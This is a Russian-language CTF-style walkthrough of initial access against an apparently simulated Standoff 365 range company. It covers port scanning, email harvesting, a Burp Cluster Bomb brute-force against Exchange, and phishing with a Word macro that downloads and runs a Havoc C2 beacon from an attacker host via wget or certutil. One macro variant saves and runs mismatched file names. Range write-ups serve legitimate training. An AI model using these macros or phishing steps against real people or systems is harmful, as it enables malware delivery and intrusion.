Pentest
December 19, 2024

HighTechEnergy STANDOFF 365. Часть 1 -  InitialAccess

Ку, киберпанки! Начинаю разбор инфры HightTechEnergy STANDOFF 365 . HighTechEnergy — одна из крупнейших компаний Государства F. Занимается передачей и распределением электроэнергии, выполняет функции оператора ГЭС, СЭС и ТЭС. Главная цель организации — качественное и надежное снабжение потребителей электричеством, поэтому вопросы безопасности для нее особенно важны.

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор не несет ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

В качестве C2 буду использовать:

  1. Havoc
  2. SLIVER
Хороший обзор на C2 SLIVER можно найти на канале Хабра AP Security

Разведка и сбор информации

Первым шагом является изучение скоупа на открытые порты, службы итд. Так же сбор информации на информационных ресурсах(имею ввиду почтовые ящики).

Дан скоуп - 10.124.1.128/26 и буду проводить два вида сканирования:

  1. Через nmap - для получения информации о хостах и открытых портах
  2. Через nxc - для получения информации о Windows тачках, если торчат наружу

Как бы логично, что вряд ли будут виндовые тачки торчать на ружу, но попробовать стоило:

nxc smb 10.124.1.128/26

Теперь скан с помощью nmap:

nmap -sC -sV -A 10.124.1.128/26 -oN high_tech_nmap.log

Такой вид скана плохой, потому что очень сильно шумит, но для соревнований пойдет:

Первый хост 10.124.1.139 - это копроративная почта MS Exchange:
порт 80 - HTTP и подразумевается, что это вебсервис
порт 443 - HTTPS, в которой видно, что это Exchange и в /etc/hosts можно добавить хост и в будущем пробовать атаку ClusterBomb для получения доступа на Exchange. Если получим доступ к почте, то так же получим доступ к тачке в домене.

ClusterBomb - эта атака перебирает разные наборы полезных данных для каждой определенной позиции. Полезные нагрузки размещаются из каждого набора по очереди, чтобы протестировались все комбинации полезных нагрузок.

Второй хост 10.124.1.166 :
порт 80 - HTTP и это веб-сервис и работает на nginx 1.22.1
порт 22 - SSH

Третий хост 10.124.1.176 содержит порты:
порт 22 - SSH
порт 53 - это порт DNS

Четвертый хост 10.124.1.189, который содержит только веб-сервис на порту 443 - HTPPS

Теперь про сбор информации. Довольно ценным источником данных при подготовке к пентесту компании являются социальные сети, на страницах которых можно найти довольно большой объём информации о сотрудниках и оргструктуре.

На хосте 10.124.1.166 можно найти почты сотрудников:

s_boyle@hte.stf
o_lara@hte.stf
j_miles@hte.stf

На данные почтовые ящики можно отправить фишинговое письмо и попробовать авторизоваться на MS Exchage.

Cluster Bomb

Данную атаку можно производить с помощью BurpSuite и с помощью опен сорса ruler. Я буду юзать первый вариант, потому что он удобнее и быстрее отрабатывает.

Ввел значения в фому авторизации login:password:

Ловлю запрос и перехожу в Intruder:

В Intruder захватываю поля login и password - это то, что будем перебирать:

Выбираю атаку Cluster Bomb:

В первый сет ставлю почты:

Во второй passlist, который был дан:

Запускаю атаку и результата, к сожалению, нет:

Но это не беда, на самом деле. Этих челиков можно зафишить.

Фишинг

Для фишинга на STANDOFF 365 у нас есть почтовый клиент Roundcube:

Теперь необходимо сделать маяк на Havoc и создать вредоносный макрос.

В Havoc выбираю Listeners и создаю порт для прослушивания соединения:

В Hosts указываю IP-адрес сервера C2, порт тоже желательно сменить с 443 на любой другой:

В итоге видим, что листенер упешно завелся:

Далее создаем маяк:

Всё оставляю по дефолту и жмякаю Generate:

После успешной генерации бекона, будет вот такое окно:

Теперь его необходимо перенести на свою VPS, где развернут C2 сервер и открыть в директории, где он расположен, python HTTP-сервер:

python3 -m http.server 4879

Далее создаем макрос. Макрос будет выглядить так:

Sub Document_Open()
 Dim strProgramName As String
 Dim strArgument As String
 strProgramName = "powershell.exe"
 strArgument = "wget  http://IP:PORT/agent.exe -O C:\Windows\Tasks\a.exe ; C:\Windows\Tasks\a.exe"
 Call Shell("""" & strProgramName & """ """ & strArgument & """", vbNormalFocus)
End Sub

В кратце, он скачивает бекон и сохраняет в директорию C:\Windows\Tasks и запускает. Однако, может быть такая ситуация, что на компе не будет wget, тогда можно использовать системную утилиту certutil.exe:

Sub Document_Open()
 Dim strProgramName As String
 Dim strArgument As String
 strProgramName = "powershell.exe"
 strArgument = "certutil.exe -urlcache -f http://IP:PORT/40564.exe C:\Windows\Tasks\bad.exe ; C:\Windows\Tasks\a.exe"
 Call Shell("""" & strProgramName & """ """ & strArgument & """", vbNormalFocus)
End Sub

Посмореть как этот метод отрабатывает можно здесь.

Когда зашёл в Word нужно нажать комбинацию Alt+F11 для получения доступа к редактирования макрсов:

Нажимаем на ThisDocument и попадём в окно редактирования макросов:

Сохраняем его в формате doc 97-2003:

Далее вставляем макрос:

После сохранения закрываем и опять открываем документ и разрешаем запуск:

Таким образом, макрос будет запускаться при открытии:

Далее необходимо отправить письмо жертвам:

Как можно увидеть, данный комп является локальным админом:

На этом всё. В следующей части будет сбор информации о пользователе и сети, повышение привилегий, закреп и туннелирование.